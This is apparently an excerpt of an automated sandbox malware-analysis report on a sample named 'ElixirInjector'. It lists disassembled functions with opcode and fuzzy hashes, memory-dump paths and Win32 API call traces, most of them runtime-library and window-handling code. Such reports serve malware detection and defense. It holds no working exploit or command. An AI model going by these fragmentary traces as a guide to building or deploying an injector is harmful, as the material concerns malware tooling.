                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: c254dd730ac6665628ee6771f3feec1dcb4a953c293490cc0b9e2574d843c345
                                                                                              • Instruction ID: a8b2cc7a0a16238edad646812e4b89253dcea7576dec8731b56d0acbae69aba5
                                                                                              • Opcode Fuzzy Hash: c254dd730ac6665628ee6771f3feec1dcb4a953c293490cc0b9e2574d843c345
                                                                                              • Instruction Fuzzy Hash: 0612D3B16087168FC718DF28D890AB9B7E0FF94314F14892EE996C7780E334E995EB45
                                                                                              Function 00F1C426 Relevance: .5, Instructions: 454COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: ab7ae7e094b2a04217da95ec8c6e476de052adbac33e4fbe134785b40e19021c
                                                                                              • Instruction ID: 27fddc44de0b33c7516bbd72e196a2731fd3424b41d518b9db541ff729131889
                                                                                              • Opcode Fuzzy Hash: ab7ae7e094b2a04217da95ec8c6e476de052adbac33e4fbe134785b40e19021c
                                                                                              • Instruction Fuzzy Hash: 56F1BE71A883418FC718CF29C4846AABBE1EFC9764F544A2EF4C9D7251D630D985EB82
                                                                                              Function 00F1E9B7 Relevance: .3, Instructions: 320COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: d274ed080e561276b98e8a2d0c6823d7ab5003011b85b46366408c94ee0c5399
                                                                                              • Instruction ID: 4e2f26373f2346ceb98f0f74eb6acbe5f24a9b37a9060b2df6d066df75224283
                                                                                              • Opcode Fuzzy Hash: d274ed080e561276b98e8a2d0c6823d7ab5003011b85b46366408c94ee0c5399
                                                                                              • Instruction Fuzzy Hash: 2AE15E755083948FC344CF19D89046ABFF0AF9A301F85095EFAD497392C235E919EBA2
                                                                                              Function 00F24088 Relevance: .3, Instructions: 270COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: c3e033f5a90b6653f2820811019e1f3a5f035301b3a61585745d11b019002b2e
                                                                                              • Instruction ID: 57b2bebcfaf26187d4be23ca04f929b9054eb0c9d2f3b389f9d9a7a50696aa4e
                                                                                              • Opcode Fuzzy Hash: c3e033f5a90b6653f2820811019e1f3a5f035301b3a61585745d11b019002b2e
                                                                                              • Instruction Fuzzy Hash: 519187B16003558BDB25EE64EC90BFA77C4EBA0310F10092CF596C72C2DAB8B985E752
                                                                                              Function 00F243BF Relevance: .2, Instructions: 243COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
                                                                                              • Instruction ID: 3733d631ed84fb82169a2d02b4f05504463d2550fb7e6c14e51d3f9039ca50cd
                                                                                              • Opcode Fuzzy Hash: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
                                                                                              • Instruction Fuzzy Hash: 55817D717043624BDB25EF68ECD1BBD77D0EB90314F04092DE9C68B282DAF4A985A752
                                                                                              Function 00F351C9 Relevance: .2, Instructions: 237COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 065055e83e4919c833d69efa84b02f975daffe91da080f284ba490589a2bb6d2
                                                                                              • Instruction ID: 8f19e4623e4c06fc2be0dde0f6a12c580abb397e349b5f9cdf93e85d797b4b5c
                                                                                              • Opcode Fuzzy Hash: 065055e83e4919c833d69efa84b02f975daffe91da080f284ba490589a2bb6d2
                                                                                              • Instruction Fuzzy Hash: BC617A72E00F0857DE389A68AC95BBF7395EBC1F70F140519E843DF281D655ED42B251
                                                                                              Function 00F34F9A Relevance: .2, Instructions: 214COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
                                                                                              • Instruction ID: 3847ecb5fcc9c6d363eb2ff0955f5422a897841cfae31d160b2e361938d9e035
                                                                                              • Opcode Fuzzy Hash: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
                                                                                              • Instruction Fuzzy Hash: 105139A1A04F4657DF3C55788955BBF73C59BC1F74F180819E842CB282C60AFD45B3A1
                                                                                              Function 00F1EFE2 Relevance: .2, Instructions: 161COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 7ca87f438b46879f2611893d6ab0d2b5ccc267d64883ce0f95c0c4c72d2d8d65
                                                                                              • Instruction ID: b67e1fa4b460672bb5c44638224fa09282dada1f650c1ca734d5cf9a3e80d6f6
                                                                                              • Opcode Fuzzy Hash: 7ca87f438b46879f2611893d6ab0d2b5ccc267d64883ce0f95c0c4c72d2d8d65
                                                                                              • Instruction Fuzzy Hash: A151D8715083D55FC711CF38C5404AEBFE0AF9A324F4909ADE4D95B243C221DA8EEB62
                                                                                              Function 00F200B7 Relevance: .1, Instructions: 141COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 2dde62156eb68af52c22b8b77db172ca856238faef792bf55335cfd322c596c1
                                                                                              • Instruction ID: 901209fba3322f346430ab51747566adecc324d6f1a99a180ea690d5a4b24026
                                                                                              • Opcode Fuzzy Hash: 2dde62156eb68af52c22b8b77db172ca856238faef792bf55335cfd322c596c1
                                                                                              • Instruction Fuzzy Hash: A251DFB2A087119FC748CF19D48055AF7E1FF88314F058A2EE899E3341DB34E959CB96
                                                                                              Function 00F23E0B Relevance: .1, Instructions: 112COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
                                                                                              • Instruction ID: 00f0dcbc3713104aa24bb573dc9cec2ffe8c80fe0a0d138327aa8f61325d258d
                                                                                              • Opcode Fuzzy Hash: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
                                                                                              • Instruction Fuzzy Hash: 613107B1A147568FCB18DF28DC512AABBE0FB95314F10452DE495C7341C73CEA4ADB91
                                                                                              Function 00F1E2E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _swprintf.LIBCMT ref: 00F1E30E
                                                                                                • Part of subcall function 00F14092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00F140A5
                                                                                                • Part of subcall function 00F21DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,00F51030,?,00F1D928,00000000,?,00000050,00F51030), ref: 00F21DC4
                                                                                              • _strlen.LIBCMT ref: 00F1E32F
                                                                                              • SetDlgItemTextW.USER32(?,00F4E274,?), ref: 00F1E38F
                                                                                              • GetWindowRect.USER32(?,?), ref: 00F1E3C9
                                                                                              • GetClientRect.USER32(?,?), ref: 00F1E3D5
                                                                                              • GetWindowLongW.USER32(?,000000F0), ref: 00F1E475
                                                                                              • GetWindowRect.USER32(?,?), ref: 00F1E4A2
                                                                                              • SetWindowTextW.USER32(?,?), ref: 00F1E4DB
                                                                                              • GetSystemMetrics.USER32(00000008), ref: 00F1E4E3
                                                                                              • GetWindow.USER32(?,00000005), ref: 00F1E4EE
                                                                                              • GetWindowRect.USER32(00000000,?), ref: 00F1E51B
                                                                                              • GetWindow.USER32(00000000,00000002), ref: 00F1E58D
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
                                                                                              • String ID: $%s:$CAPTION$d
                                                                                              • API String ID: 2407758923-2512411981
                                                                                              • Opcode ID: a51b84887e7ee6de614f3017617e0952a1c7945524911b32833b0cc8c1f20083
                                                                                              • Instruction ID: 47aa8d9360011abd9ba664805b95a1d63dfe7267df74a9bbba8fad55ada3bf38
                                                                                              • Opcode Fuzzy Hash: a51b84887e7ee6de614f3017617e0952a1c7945524911b32833b0cc8c1f20083
                                                                                              • Instruction Fuzzy Hash: BE81A271608305AFD710DF68CC89AAFBBE9FBC8714F04091DFA88D7290D674E945AB52
                                                                                              Function 00F3CB22 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___free_lconv_mon.LIBCMT ref: 00F3CB66
                                                                                                • Part of subcall function 00F3C701: _free.LIBCMT ref: 00F3C71E
                                                                                                • Part of subcall function 00F3C701: _free.LIBCMT ref: 00F3C730
                                                                                                • Part of subcall function 00F3C701: _free.LIBCMT ref: 00F3C742
                                                                                                • Part of subcall function 00F3C701: _free.LIBCMT ref: 00F3C754
                                                                                                • Part of subcall function 00F3C701: _free.LIBCMT ref: 00F3C766
                                                                                                • Part of subcall function 00F3C701: _free.LIBCMT ref: 00F3C778
                                                                                                • Part of subcall function 00F3C701: _free.LIBCMT ref: 00F3C78A
                                                                                                • Part of subcall function 00F3C701: _free.LIBCMT ref: 00F3C79C
                                                                                                • Part of subcall function 00F3C701: _free.LIBCMT ref: 00F3C7AE
                                                                                                • Part of subcall function 00F3C701: _free.LIBCMT ref: 00F3C7C0
                                                                                                • Part of subcall function 00F3C701: _free.LIBCMT ref: 00F3C7D2
                                                                                                • Part of subcall function 00F3C701: _free.LIBCMT ref: 00F3C7E4
                                                                                                • Part of subcall function 00F3C701: _free.LIBCMT ref: 00F3C7F6
                                                                                              • _free.LIBCMT ref: 00F3CB5B
                                                                                                • Part of subcall function 00F38DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00F3C896,?,00000000,?,00000000,?,00F3C8BD,?,00000007,?,?,00F3CCBA,?), ref: 00F38DE2
                                                                                                • Part of subcall function 00F38DCC: GetLastError.KERNEL32(?,?,00F3C896,?,00000000,?,00000000,?,00F3C8BD,?,00000007,?,?,00F3CCBA,?,?), ref: 00F38DF4
                                                                                              • _free.LIBCMT ref: 00F3CB7D
                                                                                              • _free.LIBCMT ref: 00F3CB92
                                                                                              • _free.LIBCMT ref: 00F3CB9D
                                                                                              • _free.LIBCMT ref: 00F3CBBF
                                                                                              • _free.LIBCMT ref: 00F3CBD2
                                                                                              • _free.LIBCMT ref: 00F3CBE0
                                                                                              • _free.LIBCMT ref: 00F3CBEB
                                                                                              • _free.LIBCMT ref: 00F3CC23
                                                                                              • _free.LIBCMT ref: 00F3CC2A
                                                                                              • _free.LIBCMT ref: 00F3CC47
                                                                                              • _free.LIBCMT ref: 00F3CC5F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                                              • String ID:
                                                                                              • API String ID: 161543041-0
                                                                                              • Opcode ID: d3666566c8e84db34149f9076a207fbe06dee77406835a0a349785621d84f446
                                                                                              • Instruction ID: 7988f6434d6f232efbd93d0f2941c63e1761a05166dccca4c89d1685fb81f303
                                                                                              • Opcode Fuzzy Hash: d3666566c8e84db34149f9076a207fbe06dee77406835a0a349785621d84f446
                                                                                              • Instruction Fuzzy Hash: 54315E31A003459FEB21AA38DC46B5AB7F9AF507B0F105419F588E7192DF39EC42EB90
                                                                                              Function 00F29711 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 126memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _wcslen.LIBCMT ref: 00F29736
                                                                                              • _wcslen.LIBCMT ref: 00F297D6
                                                                                              • GlobalAlloc.KERNEL32(00000040,?), ref: 00F297E5
                                                                                              • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00F29806
                                                                                              • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00F2982D
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global_wcslen$AllocByteCharCreateMultiStreamWide
                                                                                              • String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
                                                                                              • API String ID: 1777411235-4209811716
                                                                                              • Opcode ID: de452359a67f6dbcb56a091788cd8141366e57cb2f331f1912a4f54c1a71e206
                                                                                              • Instruction ID: 99e82f2cc271b6ccebd1f8d8fa5f5b5859011f5715fa64fac65828b3a832d81c
                                                                                              • Opcode Fuzzy Hash: de452359a67f6dbcb56a091788cd8141366e57cb2f331f1912a4f54c1a71e206
                                                                                              • Instruction Fuzzy Hash: BA312C3250C7257BD725AF64AC06F9B7B98EF52330F14011DF901971D1EBA8DA48A3A6
                                                                                              Function 00F2D69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetWindow.USER32(?,00000005), ref: 00F2D6C1
                                                                                              • GetClassNameW.USER32(00000000,?,00000800), ref: 00F2D6ED
                                                                                                • Part of subcall function 00F21FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00F1C116,00000000,.exe,?,?,00000800,?,?,?,00F28E3C), ref: 00F21FD1
                                                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 00F2D709
                                                                                              • SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00F2D720
                                                                                              • GetObjectW.GDI32(00000000,00000018,?), ref: 00F2D734
                                                                                              • SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00F2D75D
                                                                                              • DeleteObject.GDI32(00000000), ref: 00F2D764
                                                                                              • GetWindow.USER32(00000000,00000002), ref: 00F2D76D
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
                                                                                              • String ID: STATIC
                                                                                              • API String ID: 3820355801-1882779555
                                                                                              • Opcode ID: 5c4e658405a1765bbc269fa6ce56c6383083a6c37605e6dd886dff6144efcb4b
                                                                                              • Instruction ID: 97541a2d9180e3a28b10583b81a2e5afd8bef7fa97bcdca995ea5dd6d15074b1
                                                                                              • Opcode Fuzzy Hash: 5c4e658405a1765bbc269fa6ce56c6383083a6c37605e6dd886dff6144efcb4b
                                                                                              • Instruction Fuzzy Hash: E31124329443347BE6206B70BC4AFAF7A5CAB54721F004120FA45E2091DA788E8572A6
                                                                                              Function 00F396F1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _free.LIBCMT ref: 00F39705
                                                                                                • Part of subcall function 00F38DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00F3C896,?,00000000,?,00000000,?,00F3C8BD,?,00000007,?,?,00F3CCBA,?), ref: 00F38DE2
                                                                                                • Part of subcall function 00F38DCC: GetLastError.KERNEL32(?,?,00F3C896,?,00000000,?,00000000,?,00F3C8BD,?,00000007,?,?,00F3CCBA,?,?), ref: 00F38DF4
                                                                                              • _free.LIBCMT ref: 00F39711
                                                                                              • _free.LIBCMT ref: 00F3971C
                                                                                              • _free.LIBCMT ref: 00F39727
                                                                                              • _free.LIBCMT ref: 00F39732
                                                                                              • _free.LIBCMT ref: 00F3973D
                                                                                              • _free.LIBCMT ref: 00F39748
                                                                                              • _free.LIBCMT ref: 00F39753
                                                                                              • _free.LIBCMT ref: 00F3975E
                                                                                              • _free.LIBCMT ref: 00F3976C
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
